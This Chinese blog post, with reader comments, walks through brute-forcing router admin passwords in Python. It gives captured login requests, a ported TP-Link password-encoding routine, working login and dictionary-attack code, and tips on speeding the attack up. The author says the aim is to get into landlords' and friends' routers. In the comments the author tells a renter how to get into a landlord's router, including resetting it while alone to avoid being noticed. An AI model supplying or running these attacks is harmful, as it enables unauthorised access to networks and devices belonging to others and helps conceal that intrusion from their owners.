登录
  • 人们都希望被别人需要 却往往事与愿违
  • 雪崩时, 没有一片雪花觉得自己有责任 @伏尔泰 (启蒙思想家)

使用 python 暴力破解路由器管理密码

畅言 Benny 小土豆 26465 次浏览 4906 字 38 个评论
文章目录 [显示]
这篇文章在 2018 年 05 月 21 日 16:22:00 更新了哦~

警告:此文可能存在一些破坏性或违反当地法律法规的内容,还可能会玩脱,仅供学习参考,请各位自行斟酌。
另外,如果能够物理接触到路由器,直接抓 PPPoE 拨号密码就好了

自从实习以来,我一直苦恼于一个问题:桥接的房东家路由器,但是一直不知道路由器的管理密码。其实这也不算啥,不知道就不知道呗。直到某一天去某童鞋家,但是就是连不上 Wi-Fi,看着挂在墙上的路由器,我就起了邪念…… 插网线,拿 MR12U 桥接。但是啊但是啊…… 咱是不是要进管理里看一下 WPA2-PSK 究竟是什么!

我目前只遇到了两种类型的路由器,咱就先来爽一把。

工欲善其事,必先利其器。那我们自然要有 wireshark,还有 postman 啊,当然了,没有 python 解释器也是不行的,啊对你还得有个路由器ε=ε=ε=┏(゜ロ゜;)┛但是你要是真没有路由器,那就拿 Flask 写一个简单的 REST API 吧,也是可以的(但是这还有什么用呢)。

其实在写这篇文章之前,我是很尴尬的……

使用python暴力破解路由器管理密码

推特小剧场

路由器管理页面登录方式

我目前见过两种,还有一种就是像 openwrt 那种…… 暂时没有环境测试,不玩。

传统型

大概是这样,需要你输入用户名密码:

使用python暴力破解路由器管理密码

新型

使用python暴力破解路由器管理密码

我当然是喜欢传统型的啊,为啥,多了个用户名,猜不中用户名有啥用嘛,哈哈哈哈。

抓包之旅:传统型

所以嘛,什么都不用想,打开 wireshark 抓包,然后追踪 HTTP 流,能得到如下的请求报文:

  1. GET / HTTP/1.1
  2. Host: 192.168.7.1
  3. Connection: keep-alive
  4. Authorization: Basic xxxxx
  5. User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3075.92 Safari/537.36 OPR/46.0.2218.234
  6. Upgrade-Insecure-Requests: 1
  7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  8.  
  9. DNT: 1
  10. Accept-Encoding: gzip, deflate
  11. Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
  12. Cookie: shellInABox=3:101010

所以咱们大概是懂了,发现这家伙是登录是 get 请求带个 Authorization 的头,内容是 Basic base64 编码的信息,其中 base64 编码的是用户名: 密码,那咱抄起 postman 就开始……

使用python暴力破解路由器管理密码

既然用 postman 已经成功登录了,那就没太大问题。

抓包之旅:新型

这个 866N 嘛,首先管理页面右键没有用,开控制台发现是 JS 渲染的,再一看发现不是传统的表单提交的,估计是用的 AJAX 吧。抓包过滤 http 的 post 请求,大概能发现这么奇特的请求:

使用python暴力破解路由器管理密码

看这样子是点击确定按钮之后,用 ajax 方式提交了一个 json。咱在报文上右键,追踪流 - HTTP 流,看一下完整的响应:

  1. POST / HTTP/1.1
  2. Host: 192.168.1.1
  3. Connection: keep-alive
  4. Content-Length: 54
  5. Accept: application/json, text/javascript, */*; q=0.01
  6. Origin: http://192.168.1.1
  7. X-Requested-With: XMLHttpRequest
  8. User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.9; rv:56.0) Gecko/20100101 Firefox/56.0
  9. Content-Type: application/json; charset=UTF-8
  10.  
  11. DNT: 1
  12. Referer: http://192.168.1.1/
  13. Accept-Encoding: gzip, deflate
  14. Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
  15.  
  16. {"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}HTTP/1.1 200 OK
  17. Content-Type: text/html;charset=UTF-8
  18. Content-Length: 75
  19. Connection: close
  20. Access-Control-Allow-Origin: *
  21. Cache-control: no-cache
  22. {"error_code":0, "stok":"%7EAjzwZP%2E%2EFD%5B0Z%7C46Z4PPP%28LQPu4%28kD%28"}

也就是说是提交了{"method":"do","login":{"password":"0KcgeXhc9TefbwK"}}这样一个 json,很明显那个 0K 什么的就是密码了,用 postman 提交一下试试,咋提交呢?headers 设置成application/json,然后 body 里写 raw,设置 json,不出意外的话,你会得到一个 error code 0

使用python暴力破解路由器管理密码

但是吧,0KcgeXhc9TefbwK这究竟是个啥,估计是在浏览器这里用 JS 加密了的密码吧,那咱就看 JS 然后溯源……?

还好已经有人分析过了,并且给出了 C# 版本的代码,咱只要 port 到 Python 就好啦。

小提示:我曾经在一篇博文中讨论过究竟是客户端加密还是服务端加密,我给出的观点是,至少要进行服务端加密。因为客户端加密是完全可以被重放攻击的。就这个例子来说,假如是有人通过中间人劫持的方式抓到了这个 json,那么他就可以重放这个 json 来登录,尽管他依旧不知道密码。当然了,你都客户端加密了,自然加密用的密钥可能会被发现,然后被逆向。

一种另类的模拟登录的办法

在正经的用 requests 库之前,我想到了一种另类的模拟登录的办法,比如说上面的这段 JS 我要是没逆向出来,那么就只好这么了,这种方法叫做……selenium

  1. from selenium import webdriver
  2.  
  3. driver = webdriver.Chrome()
  4. driver.get('http://192.168.1.1')
  5. driver.find_element_by_xpath('//*[@id="lgPwd"]').send_keys('123456')
  6. driver.find_element_by_xpath('//*[@id="loginSub"]').click()

当然了你还需要写几行代码判断是否登录成功,咱还可以把 Chrome 换成 PhantomJS,只不过嘛,嘿嘿嘿,这个速度,估计要几秒钟才能尝试一个密码,效率太低啦。

传统路由器用 Python 模拟登录

既然我们已经用 postman 搞成功了,那么就上 requests 库试试吧。代码很简单,就几行,简单的测试下:

  1. import requests
  2. r=requests.get('http://192.168.7.1', headers={'Authorization': 'Basic QxxxxI2'})
  3. print r.status_code

如果status_code为 200 的话,那么就是登录成功了。

新型路由器用 Python 模拟登录

不要害怕,我已经帮你逆向好了客户端加密的那段代码,所以总体来说大概就是这么两个函数(好吧感觉缩进乱了):当然啦,能够把 JavaScript 代码移植到 Python 也很不容易的,这是没有混淆、比较简单易懂的那种的,要是复杂的话,直接用 PyExecJS 吧(可惜停止维护了)

  1. def security_encode(b):
  2. a = 'RDpbLfCPsJZ7fiv'
  3. c = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'
  4.  
  5. e = ''
  6. g = len(a)
  7. h = len(b)
  8. k = len(c)
  9.  
  10. f = g if g > h else h
  11. for p in range(f):
  12. n = l = 187
  13. if p >= g:
  14. n = ord(b[p])
  15. elif p >= h:
  16. l = ord(a[p])
  17. else:
  18. l = ord(a[p])
  19. n = ord(b[p])
  20. e += c[((l ^ n) % k)]
  21. return e
  22.  
  23.  
  24. def login(password):
  25. requests.get('http://192.168.1.1', headers={'Content-Type': 'application/json'})
  26. r = requests.post('http://192.168.1.1', json={"method": "do", "login": {"password": security_encode(password)}})
  27. return r.status_code

同上,status_code为 200,就意味着密码正确啦。

开始暴力破解:集成弱口令字典

当然了,实际暴力破解的时候,咱不可能一个一个输入密码,所以咱要使用弱口令字典。为了演示方便,我就随意编辑了一个比较简单的、长度比较短的弱口令字典,咱封装一下就好啦。想要真正的弱口令字典吗?自己搜索去吧~

  1. def new_crack():
  2. with open('test_pass.txt', 'r') as f:
  3. while True:
  4. line = f.readline()
  5. if len(line) == 0:
  6. break
  7. else:
  8. result, msg = new_login(line.rstrip('\n'))
  9. if result:
  10. return msg
  11.  

至于传统登录的,还需要一份用户名文件,双重循环并注意 seek 即可。

封装,封装

在完成了基本的测试之后,基本上就剩下封装函数、引入库、进行测试这些基本操作了,详细的代码就不贴了,可以戳下面的章鱼猫获取。其实这代码还可以更灵活的,那么就交给读者们了!
项目地址

加快破解速度

俗话说,欲速则不达,呸,我才不管这些呢。我要加快破解程序的破解速度,我这一跑,也就占用 20% 不到的 CPU,速度太慢了。那么…… 多线程?呃,Python 里的多线程由于 GIL 锁的存在,这多线程有时接近个摆设(就是说,无法发挥多核 CPU 的全部性能,当然如果不是 CPU 密集型的任务,遇到 I/O 操作会释放锁,用多线程还是可以并发的)…… 那么我们只能上多进程了… 省事,跑满 CPU… 另外,评论区仙子指出,连接复用也是一个好办法。

 

那我们只需要在密码那里开个进程池,把任务全都丢给进程池,然后一起join就可以了。详细的代码可以参考下面的章鱼猫。
多进程示例地址

当然了,为了防止反复调用p.get()影响多进程效率,我稍微做了一点点改动。

使用python暴力破解路由器管理密码

这是一颗满载的 CPU……

最后的结果……

使用python暴力破解路由器管理密码

我还能说什么,TP-LINK 这绝对是脑子进水了。客户端加密的时候我就说你有毛病了,这连自己都进不去管理页面逼我重启路由器,真是…… 行吧,我打算逆向固件了。下次见。啊对,有个工具叫 THC Hydra,也可以试试哦!

哦对了

提前祝愿小伙伴们元旦快乐!


文章版权归原作者所有丨本站默认采用 CC-BY-NC-SA 4.0 协议进行授权 |
转载必须包含本声明,并以超链接形式注明原作者和本文原始地址:
https://dmesg.app/python-bfa-router.html
喜欢 (17)
分享:-)
关于作者:
If you have any further questions, feel free to contact me in English or Chinese.
发表我的评论
取消评论

                     

去你妹的实名制!

  • 昵称 (必填)
  • 邮箱 (必填,不要邮件提醒可以随便写)
  • 网址 (选填)
(38) 个小伙伴在吐槽
  1. 我输了 123456 也进去了, 他妈的无语
    2019-11-19 22:57 回复
    • 别无语了,你这是超级走运
      Benny 小土豆 2019-11-20 17:53 回复
  2. 大佬,我也是租客也不知到管理员密码,很想进去解除限速 (房东说解除要给钱),奈何大佬的文章努力过到确实没有基础一点都看不懂,希望大佬能抬一手帮帮忙
    孤独的租客 2019-09-13 03:00 回复
    • 大佬求回复
      孤独的租客 2019-09-13 21:25 回复
    • 希望大佬可以帮忙有偿协助
      孤独的租客 2019-09-13 21:28 回复
    • 1. 尝试暴力破解 2. 找路由器固件的漏洞 3. 抓 PPPoE 密码,然后重置路由器,建议在只有自己的时候做,避免被发现
      Benny 小土豆 2019-09-14 09:21 回复
  3. ** 感谢感谢 **,终于打开了,大佬牛逼
    ZL2019-06-26 09:10 回复
  4. benny,我可以物理接触路由器,请问 pppoe 拨号密码怎么抓?
    啦啦啦 2019-02-13 21:27 回复
    • 这里 https://www.rcsugus.com/2017/05/28/capture-ppp-pap-package-using-pypcap-and-dpkg/ 这里 https://www.zhangguangtong.cn/?p=97
      主要就是配置 pppoe 服务器,然后 wireshark 抓就可以了
      Benny 小土豆 2019-02-14 11:05 回复
      • 大佬,这个网址打不开啊
        Sean2019-03-29 22:02 回复
  5. 是不是就破解不了了?办公室网络被人恶意限速,不知道宽带密码,所以只能想这种法子了。
    idiotday2018-03-25 08:21 回复
    • 如果是 PPPoE 的话,是有办法拿到拨号密码的。
      Benny 小土豆 2018-03-25 08:41 回复
    • 只要抓一下 PPPoE 密码之后重置默认设置就好了
      sssa2018-04-29 23:09 回复
      • 是的,前提是你能够物理接触。
        Benny 小土豆 2018-04-30 08:43 回复
      • 我已经抓包到了!感谢指点!用的虚拟机加 wireshark
        idiotday2018-05-12 08:45 回复
        • 不客气
          Benny 小土豆 2018-05-12 18:57
  6. 今天看了你好多文章,受益匪浅!
    被烧死的火柴 2018-01-13 18:12 回复
    • 那就下次再来呗~~
      Benny 小土豆 2018-01-13 21:10 回复
  7. 哎 我好像之前评论了啊 怎么不见了。。 happy new year
    Hendricks2018-01-03 10:58 回复
    • 检查了一遍垃圾评论,并没有……
      Benny 小土豆 2018-01-03 11:03 回复
  8. 暴力破解不可取,密码难度真的太高了,不如万能钥匙好用了,几年前好使,现在不行了,大家密码都不在字典里的. 破了 WIFI,好多人的登陆密码与 WIFI 一样的
    一个 SB2017-12-28 22:11 回复
    • 你理解有误。不是 WPA2 PSK,而是管理密码
      Benny 小土豆 2017-12-28 22:16 回复
  9. 所以咱的路由器是 ssh certificate only 的( 话说 TP-Link 的 CGI 不是一大堆洞么……
    TJM2017-12-28 13:03 回复
    • 没有 web 页面嘛?只靠 SSH 连上去哇真大佬! 这漏洞估计是有的…… 但是 就我这水平……
      Benny 小土豆 2017-12-28 13:10 回复
      • Luci 习惯就好…… 咱记得有的洞都进了 cve 了,msf 里应该有 poc
        TJM2017-12-28 13:12 回复
        • 确实有几个进 CVE 了…… 但是具体 PoC 还懒得搜索 &
          Benny 小土豆 2017-12-28 13:25
      • 大佬求教学。。
        追梦 2018-07-18 22:27 回复
    • 大佬大佬. png
      ホロ 2018-01-02 23:19 回复
      • 可爱的狼狼才是大佬. webp
        Benny 小土豆 2018-01-02 23:26 回复
        • 大佬,不懂你这意思。。
          追梦 2018-07-18 22:25
        • 能否加个微信 QQ 什么的呢,
          追梦 2018-07-18 22:28
  10. 多线程可以加快速度的,因为瓶颈并不在 CPU 上(至少不全是)。 另外有一个非常简单的办法,通常可以提高两倍多的效率:连接复用,生成一个 requests.Session 然后用它的 get 方法取代 requests.get。 多线程可以加快速度的,因为瓶颈并不在 CPU 上(至少不全是)。 另外有一个非常简单的办法,通常可以提高两倍多的效率:连接复用,生成一个 requests.Session 然后用它的 get 方法取代 requests.get。 PS: 下边那个评论框真坑人,邮件没验证不让评论就提前说,非得等我写好提交了之后才告诉我出错了,然后我写了半天的文字就没了…… 然后又嫌我刚注册不让评论…… 不让评论你早说啊…………
    依云 2017-12-28 12:45 回复
    • 唉??评论框随意写个什么邮箱就可以的啊… 莫非是 askimet 的锅…????
      连接复用是个好办法,感谢指教!多线程嘛……??
      Benny 小土豆 2017-12-28 12:55 回复
    • 啊你在说下面 v2mm 的评论框……?
      Benny 小土豆 2017-12-28 13:06 回复
      • 是啊。之前没注意就用那个了……
        依云 2017-12-28 13:54 回复
        • 哈哈哈 这个锅我不背……
          Benny 小土豆 2017-12-28 14:16
  11. 土豆来给我咬一口啦!??
    Yandere2017-12-28 12:24 回复
    • 你怎么来的这么快??☕️
      Benny 小土豆 2017-12-28 12:27 回复
您直接访问了本站! 莫非您记住了我的域名. 厉害~ 我倍感荣幸啊 嘿嘿